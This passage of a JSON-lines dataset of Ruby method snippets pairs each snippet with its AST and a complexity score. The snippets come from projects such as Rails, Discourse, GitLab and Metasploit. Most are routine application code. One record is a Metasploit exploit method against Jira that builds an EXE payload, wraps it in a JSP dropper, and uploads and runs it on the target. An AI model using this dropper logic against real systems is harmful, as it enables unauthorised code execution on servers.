":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"94943de8-39ef-4744-9a6e-b578ee0460d7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb","start_line":128,"raw_source":"def from_xml(xml, disallowed_types = nil)\n      ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"from_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]},{\"type\":\"optarg\",\"children\":[\"disallowed_types\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"XMLConverter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"lvar\",\"children\":[\"disallowed_types\"]}]},\"to_h\"]}]}","id":"a9cceb8f-2ad4-4c52-9f35-0b8063dcff29"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy_set.rb","start_line":65,"raw_source":"def self.import_from_hash(policy_profile, options = {})\n    ContentImporter.import_from_hash(MiqPolicySet, MiqPolicy, policy_profile, options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"import_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy_profile\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContentImporter\"]},\"import_from_hash\",{\"type\":\"const\",\"children\":[null,\"MiqPolicySet\"]},{\"type\":\"const\",\"children\":[null,\"MiqPolicy\"]},{\"type\":\"lvar\",\"children\":[\"policy_profile\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"2ec1e2d6-8aa8-43ae-9729-6502440e7a59"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240820123402_add_big_int_notifications_id.rb","start_line":4,"raw_source":"def up\n    # Short-circuit if the table has been migrated already\n    result =\n      execute(\n        \"SELECT data_type FROM information_schema.columns WHERE table_name = 'notifications' AND column_name = 'id' LIMIT 1\",\n      )\n    data_type = result[0][\"data_type\"]\n    return if data_type.downcase == \"bigint\"\n\n    # Create new column\n    execute \"ALTER TABLE notifications ADD COLUMN new_id BIGINT NOT NULL DEFAULT 0\"\n\n    # Mirror new `id` values to `new_id`\n    execute <<~SQL.squish\n      CREATE FUNCTION mirror_notifications_id()\n      RETURNS trigger AS\n      $$\n      BEGIN\n        NEW.new_id = NEW.id;\n        RETURN NEW;\n      END;\n      $$\n      LANGUAGE plpgsql\n    SQL\n\n    execute <<~SQL.squish\n      CREATE TRIGGER notifications_new_id_trigger BEFORE INSERT ON notifications\n      FOR EACH ROW EXECUTE PROCEDURE mirror_notifications_id()\n    SQL\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"SELECT data_type FROM information_schema.columns WHERE table_name = 'notifications' AND column_name = 'id' LIMIT 1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"data_type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_type\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"bigint\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE notifications ADD COLUMN new_id BIGINT NOT NULL DEFAULT 0\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE FUNCTION mirror_notifications_id()\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNS trigger AS\\n\"]},{\"type\":\"str\",\"children\":[\"$$\\n\"]},{\"type\":\"str\",\"children\":[\"BEGIN\\n\"]},{\"type\":\"str\",\"children\":[\"  NEW.new_id = NEW.id;\\n\"]},{\"type\":\"str\",\"children\":[\"  RETURN NEW;\\n\"]},{\"type\":\"str\",\"children\":[\"END;\\n\"]},{\"type\":\"str\",\"children\":[\"$$\\n\"]},{\"type\":\"str\",\"children\":[\"LANGUAGE plpgsql\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TRIGGER notifications_new_id_trigger BEFORE INSERT ON notifications\\n\"]},{\"type\":\"str\",\"children\":[\"FOR EACH ROW EXECUTE PROCEDURE mirror_notifications_id()\\n\"]}]},\"squish\"]}]}]}]}","id":"678f89ba-6ed0-4cec-b5f2-9d81bc691f19"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/utils/format_string.rb","start_line":62,"raw_source":"def percent?\n            type == '%'\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"percent?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"%\"]}]}]}","id":"a7cba376-63ac-4842-8059-e70fd56f1dda"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/cache_store_setting_test.rb","start_line":13,"raw_source":"def test_memory_store\n    store = ActiveSupport::Cache.lookup_store :memory_store\n    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_memory_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"lookup_store\",{\"type\":\"sym\",\"children\":[\"memory_store\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"MemoryStore\"]},{\"type\":\"lvar\",\"children\":[\"store\"]}]}]}]}","id":"6ce72e5c-2af0-4798-ae9f-5b0557aba389"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/change_table_test.rb","start_line":262,"raw_source":"def test_index_exists\n        with_change_table do |t|\n          expect :index_exists?, nil, [:delete_me, :bar]\n          t.index_exists?(:bar)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_index_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"index_exists?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete_me\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]}","id":"2e212db6-f30c-42d2-b9c4-0c4ae457d077"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/jira_collector_traversal.rb","start_line":162,"raw_source":"def exploit\n    print_status(\"Generating EXE...\")\n    exe = payload.encoded_exe\n    @exe_filename = Rex::Text.rand_text_alpha(8) + \".exe\"\n\n    print_status(\"Generating JSP dropper...\")\n    dropper = jsp_drop_and_execute(exe, @exe_filename)\n    dropper_filename = Rex::Text.rand_text_alpha(8) + \".jsp\"\n\n    print_status(\"Uploading and running JSP dropper...\")\n    upload_and_run_jsp(dropper_filename, dropper)\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Generating EXE...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded_exe\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exe_filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Generating JSP dropper...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dropper\",{\"type\":\"send\",\"children\":[null,\"jsp_drop_and_execute\",{\"type\":\"lvar\",\"children\":[\"exe\"]},{\"type\":\"ivar\",\"children\":[\"@exe_filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dropper_filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"str\",\"children\":[\".jsp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading and running JSP dropper...\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_and_run_jsp\",{\"type\":\"lvar\",\"children\":[\"dropper_filename\"]},{\"type\":\"lvar\",\"children\":[\"dropper\"]}]}]}]}","id":"0e7e0671-d46f-45a4-95c2-17f1a0359fbb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/emoji_serializer.rb","start_line":20,"raw_source":"def icon\n    object.image\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"icon\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"image\"]}]}","id":"d82929d8-11cc-4c04-94fb-ba0c9466486f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":1456,"raw_source":"def rdpdr_client_announce_reply(pkt, chan_user_id, chan_id, flags, data)\n    reply = [\n      RDPConstants::RDPDR_CTYP_CORE,\n      RDPConstants::PAKID_CORE_CLIENTID_CONFIRM,\n      0x1, # Version Major\n      0xc, # Version Minor\n      0x2, # client ID (TODO: configure this? read it from the packet?\n    ].pack('SSSSL')\n\n    rdp_send_channel(chan_user_id, chan_id, reply)\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"rdpdr_client_announce_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"arg\",\"children\":[\"chan_user_id\"]},{\"type\":\"arg\",\"children\":[\"chan_id\"]},{\"type\":\"arg\",\"children\":[\"flags\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDPConstants\"]},\"RDPDR_CTYP_CORE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDPConstants\"]},\"PAKID_CORE_CLIENTID_CONFIRM\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"SSSSL\"]}]}]},{\"type\":\"send\",\"children\":[null,\"rdp_send_channel\",{\"type\":\"lvar\",\"children\":[\"chan_user_id\"]},{\"type\":\"lvar\",\"children\":[\"chan_id\"]},{\"type\":\"lvar\",\"children\":[\"reply\"]}]}]}]}","id":"35c89787-d957-467c-9ac4-231b85189c1e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/swiftlint.rb","start_line":225,"raw_source":"def self.handle_swiftlint_error(ignore_exit_status, exit_status)\n        if ignore_exit_status\n          failure_suffix = 'which would normally fail the build.'\n          secondary_message = 'fastlane will continue because the `ignore_exit_status` option was used! 🙈'\n        else\n          failure_suffix = 'which represents a failure.'\n          secondary_message = 'If you want fastlane to continue anyway, use the `ignore_exit_status` option. 🙈'\n        end\n\n        UI.important(\"\")\n        UI.important(\"SwiftLint finished with exit code #{exit_status}, #{failure_suffix}\")\n        UI.important(secondary_message)\n        UI.important(\"\")\n        UI.user_error!(\"SwiftLint finished with errors (exit code: #{exit_status})\") unless ignore_exit_status\n      end","complexity_score":11.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"handle_swiftlint_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ignore_exit_status\"]},{\"type\":\"arg\",\"children\":[\"exit_status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_exit_status\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failure_suffix\",{\"type\":\"str\",\"children\":[\"which would normally fail the build.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"secondary_message\",{\"type\":\"str\",\"children\":[\"fastlane will continue because the `ignore_exit_status` option was used! 🙈\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failure_suffix\",{\"type\":\"str\",\"children\":[\"which represents a failure.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"secondary_message\",{\"type\":\"str\",\"children\":[\"If you want fastlane to continue anyway, use the `ignore_exit_status` option. 🙈\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SwiftLint finished with exit code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exit_status\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failure_suffix\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"lvar\",\"children\":[\"secondary_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_exit_status\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SwiftLint finished with errors (exit code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exit_status\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}","id":"b8b3c25f-54eb-4b6a-a3b5-6f40d59fb73a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/channels_read_controller.rb","start_line":4,"raw_source":"def update\n    Chat::UpdateUserChannelLastRead.call(service_params) do\n      on_success { render(json: success_json) }\n      on_failure { render(json: failed_json, status: :unprocessable_entity) }\n      on_failed_policy(:ensure_message_id_recency) do\n        raise Discourse::InvalidParameters.new(:message_id)\n      end\n      on_model_not_found(:message) { raise Discourse::NotFound }\n      on_model_not_found(:membership) { raise Discourse::NotFound }\n      on_model_not_found(:channel) { raise Discourse::NotFound }\n      on_failed_policy(:invalid_access) { raise Discourse::InvalidAccess }\n      on_failed_contract do |contract|\n        render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n      end\n    end\n  end","complexity_score":44.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UpdateUserChannelLastRead\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"ensure_message_id_recency\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"message_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"membership\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"invalid_access\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"3efa8568-696a-4ff9-9911-44bf1eb95155"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/build_queue_worker.rb","start_line":15,"raw_source":"def perform(build_id)\n    Ci::Build.find_by_id(build_id).try do |build|\n      Ci::UpdateBuildQueueService.new.tick(build)\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Build\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"build_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"UpdateBuildQueueService\"]},\"new\"]},\"tick\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]}]}","id":"78ac9404-d6f0-46d0-b567-2809fa875b88"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/options.rb","start_line":50,"raw_source":"def register_advanced_options(options, owner = self.class)\n    self.options.add_advanced_options(options, owner)\n    import_defaults(false)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_advanced_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"optarg\",\"children\":[\"owner\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"add_advanced_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"owner\"]}]},{\"type\":\"send\",\"children\":[null,\"import_defaults\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"fb54138b-b1f6-40fb-b24d-aa7ad2c47c02"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/sidebar_edit_navigation_modal.rb","start_line":37,"raw_source":"def deselect_all\n        click_button(I18n.t(\"js.sidebar.edit_navigation_modal_form.deselect_button_text\"))\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deselect_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.sidebar.edit_navigation_modal_form.deselect_button_text\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9a515f26-3ef0-439b-96ef-ab367414be21"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":809,"raw_source":"def test_request_protocol_is_reset_after_request\n    get :test_protocol\n    assert_equal \"http://\", @response.body\n\n    @request.env[\"HTTPS\"] = \"on\"\n    get :test_protocol\n    assert_equal \"https://\", @response.body\n\n    @request.env.delete(\"HTTPS\")\n    get :test_protocol\n    assert_equal \"http://\", @response.body\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_request_protocol_is_reset_after_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"test_protocol\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"HTTPS\"]},{\"type\":\"str\",\"children\":[\"on\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"test_protocol\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"delete\",{\"type\":\"str\",\"children\":[\"HTTPS\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"test_protocol\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"81cb4391-6dd9-499b-aceb-2de06c4ce81f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":597,"raw_source":"def notify_after_create\n    noteable&.after_note_created(self)\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_after_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"after_note_created\",{\"type\":\"self\",\"children\":[]}]}]}","id":"97dd5fca-6c83-4079-8772-c4e4dcb75799"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/internal_events.rb","start_line":98,"raw_source":"def update_sums(event_selection_rule, properties)\n        # Hardcoded to only look at 'value' since that all the schema allows.\n        # Should be dynamic based on the event selection rule\n        return unless properties.has_key?(:value)\n\n        expiry = event_selection_rule.time_framed? ? KEY_EXPIRY_LENGTH : nil\n\n        increment_sum_by(event_selection_rule.redis_key_for_date, properties[:value], expiry: expiry)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sums\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_selection_rule\"]},{\"type\":\"arg\",\"children\":[\"properties\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"value\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"expiry\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_selection_rule\"]},\"time_framed?\"]},{\"type\":\"const\",\"children\":[null,\"KEY_EXPIRY_LENGTH\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"increment_sum_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_selection_rule\"]},\"redis_key_for_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expiry\"]},{\"type\":\"lvar\",\"children\":[\"expiry\"]}]}]}]}]}]}","id":"40c54b1b-3b26-444c-95bf-ce8eb882138a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/campfire.rb","start_line":81,"raw_source":"def base_uri\n      @base_uri ||= \"https://#{subdomain}.campfirenow.com\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"base_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base_uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subdomain\"]}]},{\"type\":\"str\",\"children\":[\".campfirenow.com\"]}]}]}]}","id":"484d866c-3a80-47f0-96cb-9bb564c98f89"}
